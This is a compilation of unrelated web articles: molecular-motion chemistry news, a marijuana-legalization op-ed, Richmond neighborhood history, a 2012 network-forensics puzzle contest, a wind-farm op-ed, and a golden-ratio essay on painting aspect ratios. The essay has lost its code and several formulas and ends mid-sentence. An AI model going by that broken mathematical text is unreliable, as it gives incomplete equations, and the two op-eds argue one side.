-’Two legged’ molecules walk, hop and fly across a receptor surface, according to researchers in the Netherlands and Ireland. The findings could help us understand how viruses and bacteria interact with cell membranes, they say.  Jurriaan Huskens and colleagues at the University of Twente, in collaboration with researchers at the University of Cork, monitored the spread of two-legged dye molecules across a monolayer surface of beta-cyclodextrin ’foothold’ receptor molecules using fluorescence microscopy. They observed that the molecules moved across the surface using three distinct mechanisms depending on the environment they were in.  Huskens explains that the team printed all the dye molecules at one end of the surface, creating a concentration gradient. The high concentration of dye molecules meant there was a low concentration of free receptor sites on the surface. ’Outside that area, you have many free sites remaining so you have an active driving force based on the gradient of free receptor sites that makes the molecules move faster into the empty area,’ he says. The team also added the same receptor molecules to the surrounding solution to induce competition with the surface receptors.  Huskens explains that the ’feet’ of the dye molecules are relatively weakly bound to the surface and so they adsorb and desorb spontaneously in a matter of microseconds. ’In the absence of any competitor, we see strong evidence that molecules are mainly walking, so one leg at a time desorbs from the surface and finds another site to bind to before any of the other legs detach,’ he says.  At the other extreme - when competition from free beta-cyclodextrin receptor molecules is high or when all the receptors on the surface at capped by other molecules - the legs of the dye molecules adsorb to free receptors in solution and then diffuse through the solution and bind somewhere else, say Huskens. ’This is the flying mechanism,’ he tells Chemistry World.  The molecules can also hop from receptor to receptor on the surface, using only one leg. One of the legs of the molecule attaches to a free receptor molecule, whilst the other leg hops from receptor to receptor on the surface. Huskens explains that at medium levels of competition from free receptor molecules, ’there is a high probability that it will see a receptor on the surface before it meets one in solution and therefore it binds very quickly’.  ’They have succeeded in taking a collection of molecules that are weakly bound to a surface with two ’feet’, and managed to infer the mechanisms by which they are travelling around through observation of their transit speed under different circumstances,’ says Jonathan Nitschke who researches complex molecular structures at the University of Cambridge in the UK. ’Their methods could be used to help understand how complex, multi-site binding events occur, between antibodies and antigens, for example, or between viruses and the membrane proteins of their hosts,’ he adds.  Mike Brown
-A clear majority of Americans now want to see marijuana legalized. Fifty-six percent believe it should be treated like alcohol or tobacco. Only thirty-six percent defend the status quo. What's more, the trend has been moving towards the pro-legalization position, and continues to do so.  It is about time. The entire drug war is a monstrosity, a crime against the Bill of Rights, the greatest contributor to gang violence, a wholesale attack on our civil liberties and the right of individuals to control their own bodies. Characterizing drug problems as a criminal justice issue has been an unmitigated failure, except for serving law-enforcement special interests, growing the bureaucracy, and deepening the pockets of drug kingpins who profit off this madness.  Marijuana criminalization always rested on the flimsiest of grounds. Fear of blacks and Hispanics fueled the hysteria. So did conflicting propaganda about how marijuana would make American youth violent, yet also make them docile and unable to serve in the Armed Forces.  If marijuana is not the most benign recreational drug known to humanity, it is near the top. Alcohol kills tens of thousands of Americans a year. Tobacco kills hundreds of thousands. Pot directly kills zero.  Scientists measure the lethality of a drug by its therapeutic index. The TI gauges how many effective doses of a drug it takes to kill the median user. Alcohol's TI is somewhere around ten. Caffeine's is approximately one hundred. Marijuana's is a matter of conjecture, since it's been extrapolated from studies with lab rats and other such methods. But scientists estimate its TI somewhere between 1,000 and 40,000. In other words, marijuana is somewhere between a hundred and four thousand times less lethal than alcohol.  This is not to say that smoking pot has no negative side-effects. Long-term users can easily fritter their time away, satisfied to bask in the high rather than doing something productive. This is a danger with other drugs too, including alcohol, as well as with many other activities like watching sports or playing video games. But the answer is not jail time or a federal program aimed at reforming individuals from these poor habits. A free society does not use police power to deal with frivolousness of youth.  The responsible way a civil society can handle drugs, regardless of how dangerous they are, is through community institutions. Many Americans want nothing to do with drugs. Private organizations can discourage use. Property owners can exclude behavior they dislike from their premises. Meanwhile, those seeking help can get it from doctors, churches, family, and friends without fear of persecution.  My prediction is that if marijuana were legal, most of the hysteria would subside, as would much of the romanticism surrounding its use. People who are stoned all the time to the detriment of their work or family life would be seen in a similar light as those who abuse alcohol, but tempered recreational use would have neither the forbidden-fruit appeal nor the stigma that characterizes pot use today.  No result of legal cannabis could be as bad as what we have now. The violence in Mexico is reason enough to legalize the stuff immediately. A large part of the illicit drug trade is aimed toward supplying Americans with the marijuana they demand. About 50,000 people have been murdered down south in the last few years, mitigated not at all by Washington's drug war agenda that it pushes on Latin American countries against their will.  Marijuana prohibition has also, outrageously, resulted in the suffering of patients who use it for legitimate medical purposes. It has been used as medicine for five thousand years by ancient cultures ranging from China and India to Assyria and Greece. Homer, Herodotus, and Theocritus all wrote about its beneficial medical effects. It is an analgesic, an anti-inflammatory, and an anti-nausea treatment. Many patients don't even smoke it -- which is the most harmful aspect of the drug's administration -- instead opting for vaporization or edibles. For many treatments, it has no superior substitutes.  Right now, 3/4 of Americans -- including 2/3 of Republicans -- want the federal raids against state-legalized medical marijuana dispensaries to end. These raids started under Clinton. George W. Bush said in the 2000 presidential campaign that, in the name of states rights, he would stop the raids. Instead, he ramped them up. Obama promised to stop them, and then he escalated them further. Since October 2009, the Obama administration has executed over 170 SWAT raids of dispensaries.  If ever there was an issue where a president was out of touch with the American people, especially with those in his own party, the war on marijuana is it. When Obama's administration opened a website for the public to petition the government on various issues, the most popular demand was for pot legalization. Obama blew it off like it wasn't a serious proposal.  Obama is not the first liberal president to betray Americans on marijuana. Ever since Franklin Roosevelt signed the Marijuana Tax Act of 1937, the Democrats have often been as vociferous drug warriors as conservative Republicans. Paternalistic progressivism has kept the drug war going. When all the liberals on the Supreme Court upheld the federal medical marijuana crackdowns in 2005, they did so on the grounds that the federal power, even when it was exercised unwisely and cruelly, could not be constitutionally limited in the area of drug use.  The last three presidents have done marijuana. They have all punished others for using it -- even for medicinal purposes. The war on pot is hypocritical and immoral. It needs to end. Now that the majority of Americans have voiced the sensible position on this issue, we can hold out some hope. Unfortunately, the prison and police lobbies want to keep this calamitous crusade going. The war on pot is a lynchpin for the rest of the drug war. The DEA and Drug Czar require marijuana to be included in their data on illicit substances, which they use to make the drug problem appear as big as possible.
-Richmond, Virginia has the rather placid nickname of "River City," but its neighborhoods sport some more unusual nicknames, like "Shockoe Slip" and "Three Chopt." Here’s how seven of the more memorable districts in Virginia’s capital city got their names.  1. COURT END  Filled with staid government buildings—including the Virginia State Capitol, Executive Mansion, and the White House of the Confederacy—Court End is a historic district that carries reminders of Richmond’s brief role as the Confederate capital. For the story behind its name, look no further than the Supreme Court of Virginia, which is located near the Virginia State Capitol building. The U.S. District Court is nearby, too, which means the judicial branch is especially well-represented in Court End.  2. SHOCKOE SLIP/SHOCKOE BOTTOM  The word Shockoe has a pleasant sound and old roots. It’s a nod to the city’s Shockoe Creek, whose name derives from Shacahocan—a Powhatan/Algonquin phrase that referred to a flat rock at the mouth of the creek. Shockoe Slip was once a trading post, and the “slip” is where boats loaded their cargo. The area eventually became the commercial center of Richmond.  The trade had a brutal side in nearby Shockoe Bottom, which was the center of Richmond’s slave trade. Home to slave jails like the one where 12 Years a Slave’s Solomon Northup was imprisoned, much of Shockoe Bottom has since been paved over along with the creek that inspired its name.  3. THE FAN  One of Richmond’s most beautiful neighborhoods, The Fan is so named because of the fan-like way some of its streets radiate out from Monroe Park. And if you’re an architecture nerd, you might need to fan yourself while you explore: It’s full of vintage homes in all kinds of architectural styles.  But The Fan didn’t always have its name. At first, part of it was known as Scuffletown, likely because of that time a post-treason Benedict Arnold raided Richmond and scuffled with its militia in 1781. Then, rich people began to build pretty houses around Scuffletown, and in 1817 a town called “Sydney” was planned. Alas, Sydney never came to be. The Fan grew out of the remains of Scuffletown and Sydney, and was eventually defined by its roads.  4. JACKSON WARD  Once known as the “Black Wall Street,” Jackson Ward used to be ground zero for local African-American business institutions. A haven for free blacks before the Civil War, it blossomed into a thriving African-American neighborhood after the war’s end. The reason behind its name is something of a mystery, however. A popular guess is that the area was named by Ulysses S. Grant in 1871 after Andrew Jackson, since other wards were already named after Jefferson, Madison, and Monroe. But another theory contends that the area was named after Jackson’s Garden, a Union College professor’s English-style garden.  Regardless of how it was named, Jackson Ward gained fame for its thriving African-American community, which was home to strong banks, businesses, and world-class entertainment. After an urban renewal effort and Virginia’s desegregation, the neighborhood declined as residents moved elsewhere in the city. However, in recent years it has revived and is now a historic district.  5. THREE CHOPT  Like so many things in Virginia, Three Chopt, one of Richmond’s West End neighborhoods, has Colonial roots. In this case, that root is a route called Three Notch’d Road, which was once the main drag connecting east and central Virginia. The road got its name from the three marks settlers cut into trees while they were turning the Native American trail into a full-blown thoroughfare [PDF]. Its other name? Three Chopt (Chopped) Road, which is the one that stuck.  6. LIBBY HILL  Richmond was supposedly built on seven hills, like Rome (though which seven should be considered “official” in Richmond is still a matter of debate). Many of these hills give neighborhoods their names.  Libby Hill got its name from an infamous Richmonder, Luther Libby, who lived nearby. Captain Libby was a prominent landowner in the area, but is perhaps best known for a prison that bore his name. (He had nothing to do with the prison itself, but had leased the building when it was a warehouse, and a sign with his name on it wasn't taken down when the building was hurriedly converted to a Confederate prison.) Libby Prison housed Union POWs during the Civil War and was known for both its hellish living conditions and a daring prisoner escape in 1864, when 109 prisoners fled via a tunnel.  Libby Hill is also known for giving the whole town of Richmond its name, when people standing on the hill looked over the land and decided it reminded them of Richmond-upon-Thames, England.  7. CARYTOWN  Carytown came by its reputation as a shopping district honestly: It was the site of the city’s first strip mall. It’s named after Cary Street, which was in turn named after a man named Colonel Archibald Cary. One of Virginia’s richest men, Cary was friends with George Washington and Thomas Jefferson, and was known for helping the rogue colonies establish—and finance—their own government. He made all that cash from flour mills, a foundry, and a plantation that enslaved hundreds. Despite those historic roots, Carytown has only been known by that name since the 1970s, when residents voted to name it after its main drag.
-Our latest puzzle was created by Eric Fulton, Sherri Davidoff, Jonathan Ham and Scott Fretheim.  “Oh god” is the first thought running through your mind as you crack open the door. An odious wafting of day old vomit, sweat, and stale cigar washes across you as the door moves from cracked to ajar. The room is pitch black, a dirty and exposed hallway light bulb does nothing to cut into the dark abyss of the room. Peering inside you see only shapes, but deep down you know it isn’t going to be pretty.  It’s been three weeks since the PaulDotCom crew went missing. Through extensive research and cyberstalking, millions of PDC fans gathered information relating to their disappearance and hired you to find them. This is John Strand’s safe house, and a quick Google image search was all you needed to know about his seedy life. Who knows what’s in this room? Donning rubber gloves you feel for a light switch with your left hand, both intensely afraid and curious for what you are about to see. Wincing in anticipation you flick the switch with a “click”.  Nothing happens. “Why do I always get the messed up jobs” you whisper to yourself, digging around in your black bag. Corporate espionage isn’t a clean game, but usually the tech jobs involve threatening geeks in suburban houses, not sneaking around what looks to be North Dakotan project housing. Pulling a sleek Pelican flashlight from the bag, you click it on and begin to survey the damage. Starting from the left you identify the location of the puke smell; there’s day old vomit trailing its way down peeling wallpaper toward a box of empty tequila bottles. Smell one located.  Further to the right you spot a human shape on a couch. You freeze with the flashlight beam aimed at the shape. It’s Larry, wrapped in a dirty pink blanket almost too small to cover him, rocking back and forth and muttering something unintelligible. What’s he saying? You suspect it’s key. His fingers are pale as he grips a WRT54G router which appears to have twenty-four overlapping bites taken out of it. Seconds tick by. Nothing happens; he pays no attention to your entry. Smells two and three probably located. Your light continues its sweep as you spot a table hosting two 24” monitors surrounded by miscellaneous cables. Jackpot.  Ignoring the rest of the room you step over martini glasses and other unidentified objects, making a beeline to the desk. The little voice in your head shouts “Damn! Damn! Damn!” There is evidence that someone left only recently. The scene is almost out of a second rate Hollywood movie, being so incredibly obvious:a puddle of spilled cosmopolitan makes apparent the distinct outlines where a laptop and external hard drive once sat.  Disheartened, you rummage though the desk, hopeful of finding a forgotten USB drive or other storage device. No dice. You slide a few sticky quarters off of the desk (it’s not like you’re getting a per-diem) and continue the search– wait. One of the quarters… splits a little. You pick it up and play with it. Viola! A small micro SDHC card lies inside the quarter. Your heart starts beating faster. You have a clue.  As a matter of habit you go through the rest of the room, quietly, as the eerie sound of Larry chanting in the background never stops. Old coffee mugs, a dirty microwave, hundreds of empty frozen food wrappers, and magnetic buckyballs cover the floor like a sort of 21st century urban underbrush…and then you see something peculiar. A stack of hard drives sits in the corner. The top drive looks like someone shot it 7 or 8 times, a strange method for data destruction, but certainly an effective one. Rummaging through the stack of drives you find one at the bottom looking as if it survived the data massacre. Grabbing it, you give one last look around as you walk to the door. The sounds of Larry go from muffled to silent as you shut the door and make your exit.  The Evidence  You are the forensic investigator.The items found in the safe house have been uploaded to this server for your analysis. These include:  quarter-SDHC-snippet.dd – A DD image of a the SDHC card found inside the quarter.  pcap-from-surviving-hard-drive.pcap – A packet capture that you copied off the surviving hard drive.  Download the 7-zipped evidence file here.  SHA256 sum:  44450915addb8bdbe1766a3fad1c03059393a0f1f01839b19f98f235dc3b97bd  The Adoring Fans’ Questions  Can you solve the puzzle and find out what happened to PaulDotCom? Their adoring legions of fans have asked you to find the answers to the following questions along the way:  1. In his conversation with juniorkeyy, how old does Larry initially say he is?  2. What was the filename of the file that had the following SHA256 sum:  e56931935bc60ac4c994eabd89b003a7ae221d941f1b026b05a7947a48dc9366  3. What is the SHA256sum of the photo from the “dd” image that shows Larry taking a bite out of a wireless router?  4. What is the SHA256sum of the image that shows zombie Larry taking a  bite out of a cat?  5. What is Larry saying as he rocks back and forth? (No spaces or  capital letters.)  6. Where are Paul and John? Report their GPS coordinates:  a) Latitude  b) Longitude  BONUS. What is the name of the nearest bar?  Submission Form  Please submit your answers using the Official Submission Form.  Deadline is 7/23/12 (11:59:59PM UTC-11) (In other words, if it’s still 7/23/12 anywhere in the world, you can submit your entry.)  Prize  The Grand Prize will be a Black Hat “Black Card”! Thanks, Black Hat, for sponsoring such an awesome prize.  There will also be prizes for the first correct submission, as well as the 2nd and 3rd place runner-ups. Stay tuned for more info!  How to Win  The MOST ELEGANT solution wins. In the event of a tie, the entry submitted first will receive the prize. Coding is always encouraged. We love to see well-written, easy-to-use tools which automate even small sections of the evidence recovery. Graphical and command-line tools are all eligible. You are welcome to build upon the work of others, as long as their work has been released under a an approved Open Source License. All responses should be submitted as plain text. Microsoft Word documents, PDFs, etc will NOT be reviewed.  More Details  Feel free to collaborate with other people and discuss ideas back and forth. You can even submit as a team (there will be only one prize). However, please do not publish the answers before the deadline, or you (and your team) will be automatically disqualified. Also, please understand that the contest materials are copyrighted and that we’re offering them publicly for the community to enjoy. You are welcome to publish full solutions after the deadline, but please use proper attributions and link back. If you are interested in using the contest materials for other purposes, just ask first.  Authors agree that their code submissions will be freely published under the GPL license, in order to further the state of network forensics knowledge. Exceptional submissions may be used as examples and tools in the Network Forensics course or book. All authors will receive full credit for their work.  To Recap  Evidence File  Sha256sum: 44450915addb8bdbe1766a3fad1c03059393a0f1f01839b19f98f235dc3b97bd  Deadline is 7/23/12 (11:59:59PM UTC-11). Here’s the Official Submission form. Good luck!!  Copyright 2012, Lake Missoula Group, LLC. All rights reserved.
-Who exactly are these wind farm refugees?  Posted  When you look closely at the claims that residents have been driven from their homes by wind farm noise, they are quickly revealed as inaccurate and overblown, writes Simon Chapman.  Industrial developments like highway construction, new airport runways, tunnels and re-zoning of residential areas for industrial use often attract virulent protest. Those most affected write complaints, picket councils and parliaments, are interviewed by the media, put signs on their fences and front lawns, and sometimes engage in civil disobedience. They have strong reasons to complain and the last thing they'd want to do is to be timid, seek anonymity and not raise hell.  But it seems those claiming to be worst affected by wind farm turbine noise might be made of different stuff. There are 51 wind farms around Australia and according to the non-media shy Sarah Laurie, who heads the anti-wind-farm Waubra Foundation, there are "more than 40" families who have "abandoned" their homes because of noise from wind turbines. Public claims about home abandonment have been made by senators Xenophon, Madigan and Back, the three political champions of anti-wind-farm groups.  So where are these 40 families? If 40 families had experienced such insufferable noise that they drew stumps and walked off their properties without recompense, this is something that you would expect to be shouted from the rooftops. There would be lots of media attention. Speeches by their local members in Parliament. The wind companies involved would know about such cases. Those affected would hardly have slipped away in the middle of the night without making a fuss.  In a new research paper, I set out to check whether Laurie's statement was a fact or a factoid. A factoid is a piece of unverified or inaccurate information promoted as fact and then popularly accepted as true because of frequent repetition of its allegedly factual status.  I wrote to Laurie asking for information about her "more than 40 families" claim only to be told that the details were "confidential". They are therefore not open to any scrutiny. I looked through 2,394 submissions to three parliamentary enquiries for such claims. I searched the anonymous blog Stop These Things. I invited the three senators to provide me with any information about their claims. I emailed 18 known opponents of wind farms the same request. And I also asked wind companies, rural health specialists and acousticians if they knew of any "abandonments".  This process produced 12 cases, near seven of Australia's 51 wind farms, not "over 40". I found none that could be said to be true "abandonment" cases, where a residential asset had been literally written off forever without any sale. In nearly all cases, there was more to each case than a simple story of a family moving away reluctantly because of turbine noise. There were histories of protracted negotiations to have properties bought, sometimes involving ambit claims. There were cases of people having moved for other reasons (employment, to be near a needed health facility) and of lengthy opposition to wind farms, even before they were constructed.  Laurie has interesting form in her public pronouncements. She claims that wind turbines can make people's lips vibrate "as from a distance of 10km away" and that turbines can "perceptibly rock stationary cars even further than a kilometre away from the nearest wind turbine." Mythbusters, where are you?  Last December, Ontario's Environmental Review Tribunal refused her standing as an expert witness in a case, arguing that she had no training in research, but was seeking to provide expert interpretation of research. They also noted that as an unregistered doctor, she was not allowed to diagnose health problems, but that this was precisely what much of her proposed evidence involved her doing. The judgment states that Laurie has agreed to stop calling herself Dr Laurie.  Refugees are people who risk their lives to escape persecution and war. The appropriation of this term as an emotive rhetorical device, with the numbers involved exaggerated to increase attention, is simply odious. If rumours are correct, Tony Abbott will direct the NHMRC to research Australian claims about "wind turbine syndrome", the unrecognised disease that was coined in a vanity press, self-published book by an American doctor who interviewed 23 people over the phone who claimed to be suffering. Millions of dollars could be wasted in investigating a "disease" that has never been written on a medical certificate.  Simon Chapman AO is professor of Public Health at the University of Sydney and 2013 Australian Skeptic of the Year. View his full profile here.  Topics: wind-energy, health, activism-and-lobbying, federal-parliament
-Paintings of the great masters are among the most beautiful human artifacts ever produced. They are treasured and admired, carefully preserved, sold for hundreds of millions of dollars, and, perhaps not coincidentally, are the prime target of art thieves. Their composition, colors, details, and themes can fascinate us for hours. But what about their outer shape—the ratio of a painting’s height to its width?  In 1876, the German scientist Gustav Theodor Fechner studied human responses to rectangular shapes, concluding that rectangles with an aspect ratio equal to the golden ratio are most pleasing to the human eye. To validate his experimental observations, Fechner also analyzed the aspect ratios of more than ten thousand paintings.  We can find out more about Fechner with the following piece of code:  By 1876 standards, Fechner did amazing work, and we can redo some of his analysis in today’s world of big data, infographics, numerical models, and the rise of digital humanities as a scholarly discipline.  After a review of the golden ratio and Fechner’s findings, we will study the distribution of the height/width ratios of several large painting collections and the overall distribution, as well as the most common aspect ratios for paintings. We will discover that the trend over the last century or so is to become more rationalist.  Prelude: The golden ratio, a beautiful construction in mathematics  The golden ratio ϕ=(1+ )/2≈1.618033988… is a special number in mathematics. Its base 2 or base 10 digit sequences are more or less random digit sequences:  Its continued fraction representation is as simple and beautiful as a mathematical expression can get:  Or, written more explicitly:  Another similar form is the following iterated square root:  Although just a simple square root, mathematically the golden ratio is a special number. For instance, it is the maximally badly approximable irrational number:  Here is a graphic showing the sequence q *|q ϕ-round(q ϕ)|. The value of the sequence terms is always larger than 1/5^½:  Furthermore, we can show the approximation to the golden ratio that one obtains by truncating the continued fraction expansion:  A visualization of the defining equation 1+1/ϕ=ϕ is the ratio of the length of the following line segments:  Here are a wide and a tall rectangle with aspect ratio, golden ratio, and 1/(golden ratio):  Not surprisingly, this mathematically beautiful number has been used to generate aesthetically beautiful visual forms. This has a long history. Mathematically described already by Euclid, da Vinci made famous drawings that are based on the golden ratio.  The Wolfram Demonstrations Project has more than 90 interactive Manipulates that make use of the golden ratio. See especially Mona Lisa and the Golden Rectangle and Golden Spiral.  The golden ratio is also prevalent in nature. The angle version of the golden ratio is the so-called golden angle, which splits the circumference of a circle into two parts whose lengths have a ratio equal to the golden ratio:  The golden angle in turn appears, for instance, in phyllotaxis models:  For a long list of occurrences of the golden ratio in nature and in manmade products, see M. Akhtaruzzaman and A. Shafie.  However, the universality of the golden ratio in art is often overstated. For some common myths, see Markowsky’s paper.  Later, we will also encounter the square root of the golden ratio. If we allow for complex numbers, then another, quite simple continued fraction yields the square root of the golden ratio as a natural ingredient of its real and imaginary parts:  The name golden ratio seems to go back to Martin Ohm, the younger brother of the well-known physicist Georg Ohm, who used the term for the first time in a book in 1835.  Fechner’s 1876 work on rectangle preferences and painting aspect ratios  In volume 1 of the oft-quoted work Vorschule der Aesthetik (1876), Gustav Theodor Fechner—physicist, experimental psychologist, and philosopher—discusses the relevance of the golden ratio to human perception.  Today, Fechner is probably best known for the subjective sensation law jointly named after him, the Weber–Fechner law:  In chapter 14.3 (volume 1) of his book, Fechner discusses the aesthetics of the size (aspect ratio) of rectangles. Carrying out experiments with 347 probands, each given 10 rectangles of different aspect ratios, the rectangle that was most often considered pleasing by his experimental audience was the one with an aspect ratio equal to 34/21, which deviates from the golden ratio by less than 0.1%. Here is the today-still-cited but rarely reproduced table of Fechner’s results:  Chapter 33 in volume 2 discusses the sizes of paintings, and Chapter 44 of volume 2 contains a forty-one-page detailed analysis of 10,558 total images from 22 European art galleries. Interestingly, Fechner found that the typical ratio of painting heights and widths clearly deviated from the “expected” golden ratio.  Fechner carried out a detailed analysis of 775 hunting and war paintings, and a coarser analysis on the remaining 9,783 paintings. Here are the results for hunting and war paintings (Genre), landscapes (Landschaft), and still life (Stillleben) paintings. In the table, h indicates the painting’s height and b the width. And V.-M. is the ratio h/b or b/h:  Here in the twenty-first century, we can repeat this analysis of the aspect ratios of paintings.  For detailed discussions and modified versions of Fechner’s experiments with humans, see the works of McManus (here and here), McManus et al., Konecni, Bachmann, Stieger and Swami, Friedenberg, Ohta, Russel, Green, Davis and Jahnke, Phillips et al., and Höge. Jensen recently analyzed paintings from the CGFA database, but the discretized heights and width values used (from analyzing the pixel counts of the images) did not allow resolution of the fine-scale structure of the aspect ratios, especially the occurrence of multiple, well-resolvable maxima. (See below for the analysis of a test set of images.)  While Fechner did a detailed analysis of quantitative invariants (e.g. mean, median) of the aspect ratios of paintings, he did not study the overall shape of the aspect ratio distribution, and he also did not study the distribution of the local maxima in the distribution of the aspect ratios.  An easy start: analyzing entities from the “Artwork” domain of the Wolfram Knowledgebase  One of the knowledge domains in EntityValue is “ Artwork ”. Here we can retrieve the names, artists, completion dates, heights, and widths of a few thousand paintings. Paintings are conveniently available as an entity class in the “ Artwork ” domain of the Wolfram Knowledgebase:  Here is a typical example of the retrieved data:  Paintings come in a wide variety of height-to-width aspect ratios, ranging from very wide to quite tall. Here is a collage of 36 thumbnails of the images ordered by their aspect ratio. Each thumbnail of a painting is embedded into a gray square with a red border:  The majority of the paintings have aspect ratios between 1/4 and 4. Here are some examples of quite wide and quite tall paintings:  We can get an idea about the most common topics depicted in the paintings by making a word cloud of words from the titles of the paintings:  Now that we have downloaded all the thumbnails, let’s play with them. Considering their colors, we could embed the average value of all pixel colors of the image thumbnails in a color triangle:  Before analyzing the aspect ratios h/b in more detail, let’s have a look at the product, which is to say the area of the painting. (Fechner’s aforementioned work devoted a lot of attention to the natural area of paintings too.)  We show all paintings in the aspect ratio area plane. Because paintings occur in greatly different sizes, we use a logarithmic scale for the areas (vertical axis). We also add a tooltip for each point to see the actual painting:  And here is a histogram of the distribution of the height/width aspect ratios.  Starting now, following the Wolfram Language definition of aspect ratio, I will use the definition aspect ratio=height/width rather than the sometimes-used definition aspect ratio=width/height. As we saw above, this convention also follows Fechner’s convention, which also used height/width.  Now let’s analyze the histogram of the aspect ratios in more detail. Qualitatively, we see a trimodal distribution. For wide paintings (width>height) we have an aspect ratio less than 1, for square paintings we have an aspect ratio of about 1, and for tall paintings (height>width) we have an aspect ratio greater than 1. The tall and the wide paintings both have a global peak, and some smaller local peaks are also visible.  The trimodal structure for wide, square, and tall paintings was to be expected. Two natural questions that arise when looking at the above distribution are:  1) what are the positions of the local peaks?  2) what is the approximate overall shape of the distribution (normal, lognormal, …)?  In 1997, Shortess, Clarke, and Shannon analyzed 594 paintings and took a closer look at the point where the maximum of the distribution occurs. In agreement with Fechner’s 1876 work, they found that 1.3 seems to be the local maximum for the distribution of max(h/b,b/h). Again, 1.3 is clearly different from the golden ratio and the authors suggest either the Pythagorean number (4/3) or the so-called plastic constant as the possible exact value for the maximum.  The plastic constant is the positive real solution of x³-x-1=0:  The plastic constant was introduced by Dom Hans van der Laan in 1928 as a special number with respect to human aesthetics for 3D (rather than 2D) figures. If explicitly expressed in radicals, the plastic constant ℘ has a slightly complicated form:  The resolution of the graphs from the 594 analyzed paintings was not enough to discriminate between ℘ and 4/3, and as a result, Shortess, Clarke, and Shannon suggest that the value of the maximum of painting ratios occurs at the “platinum constant,” a constant whose numerical value is approximately 1.3. Their paper also did not resolve any fine-scale structure of the height/width distribution. (Note: this “platinum constant” is unrelated to the so-called “platinum ratio” used in numerical analysis.)  (There is an interesting mathematical relation between the golden ratio and the plastic constant: the golden ratio is the smallest accumulation point of Pisot numbers, and the plastic constant is the smallest Pisot number; but we will not elaborate on this connection here.)  If we use a smaller bin size for the bins of the histogram, at least two maxima for both tall and wide paintings become visible:  If we show the cumulative distribution function, we see that the absolute number of paintings that are square is pretty small. The square paintings correspond to the small vertical step at aspect ratio=1:  Next, let us take all tall paintings and show the inverse of their aspect ratios together with the aspect ratios of the wide paintings. The two global maxima at about 0.8 map reasonably well into each other, and so does the secondary maxima at about 0.75:  Graphing smoothed distributions of the aspect ratios of wide paintings and the inverse of the aspect ratios for tall paintings shows how the maxima map into each other:  A quantile plot shows the similarity of the distributions for wide and tall paintings under inversion of the aspect ratios:  Will it be possible to resolve the maxima numerically and associate explicit numbers with them? Here are the above-mentioned constants and three further constants: the square root of the golden ratio, 5/4, and 6/5:  Among all possible constants, we added the square root of the golden ratio because it appears naturally in the so-called Kepler triangle. Its side lengths have the ratio 1:sqrt(golden ratio):golden ratio:  The Pythagorean theorem is also important for the square root of the golden ratio. The Kepler triangle becomes the defining equation for the golden ratio:  Shortess et al. included 4/3 as the Pythagorean constant because this number is the ratio of the smaller two edges of the smallest Pythagorean triangle with edge length 3, 4, 5 (3²+4²=5²).  And the rational 6/5 was included because, as we will see later, it often occurs as an aspect ratio of paintings in the last 200 years.  The distribution of the painting aspect ratios together with the selected constants shows that the largest peak seems to occur at the sqrt(golden ratio) value and a second, smaller peak at 1.32… 1.33.  Here is a list of potential constants that potentially represent the position of the maxima. We will use this list repeatedly in the following to compare the aspect ratio distributions of various painting collections. Let’s start with some visualizations showing these aspect ratios:  The next graph shows the six constants on the number line. The difference between the plastic constant and 4/3 is the smallest between all pairs of the six selected constants:  Here are wide rectangles with aspect ratios of the selected constants:  And for better comparison, the next graphic shows the six rectangles laid over each other:  And here is the above graphic overlaid with the positions of the constants at the horizontal axis:  Various other fractions with small denominators will be encountered in selected painting datasets below, and various alternative rationals could be included based on aesthetically pleasing proportions of other objects, such as 55/45=11/9=1.2̅ (see here, here, here, and here) or 27/20=1.35 or the so-called “meta-golden ratio chi,” the solution of Χ²-Χ/ϕ=1 with value 1.35…  Because the resolution of a histogram is a bit limited, let us carefully count the number of paintings that are a certain aspect ratio plus or minus a small deviation. To do this efficiently, we form a Nearest function:  Again, we clearly see two well-separated maxima, the larger one nearer to the square root of the golden ratio than to the plastic constant or the Pythagorean number:  Interlude I: Features of the probability distribution of aspect ratios  Before looking at more painters and paintings, let’s have a more detailed look at the distribution of the aspect ratios.  The most commonly used means are all larger than the tallest maximum for tall images:  Here are the means for the wide paintings:  What is the ratio of taller to wider paintings? Interestingly, we have nearly exactly as many tall paintings as wide paintings:  The averages for the paintings viewed as a rectangles (meaning the aspect ratios (max(height, width)/min(height,width)) have means that are very similar to the tall paintings:  As above in the plot of the two overlaid histograms, the distribution of tall paintings agrees nearly exactly with the distribution of wide paintings when we invert the aspect ratio. But what is the actual distribution for tall (or all) paintings (question 2) from above? If we ignore the multiple peaks and use a more coarse-grained view, we could try to fit the distribution of the tall paintings with various named probability distributions, e.g. a normal, lognormal, or heavy-tailed distribution.  We restrict ourselves to paintings with aspect ratios less than 4 to avoid artifacts in the fitting process due to outliers:  Using SmoothKernelDistribution allows us to smooth over the multiple maxima and obtain a smooth distribution (shown on the left). A log-log plot of the hazard function (f(a)/(1-F(a))) together with the function 1/a gives the first hint that we expect a heavy-tailed distribution to be the best approximation:  Here are fits with a normal and a lognormal distribution:  And here are some heavy-tailed distributions:  As the height/width ratios have a slow-decaying tail, the normal, lognormal, and extreme value distribution are a poor fit. The range of aspect ratios between about 1.4 and 2 shows this most pronounced:  The four heavy-tailed distributions show a much better overall fit:  If we quantify the fit using a log-likelihood ratio statistic, we see that the truncated heavy-tailed distributions perform the better fits:  The distribution for the aspect ratio has a curious property: we saw above that the distributions of the wide and tall paintings appropriately match after an appropriate mapping. This means their maxima agree, at least approximately. But by mapping the distribution p(x) of tall paintings with 0 p̅,(x) of wide paintings with 1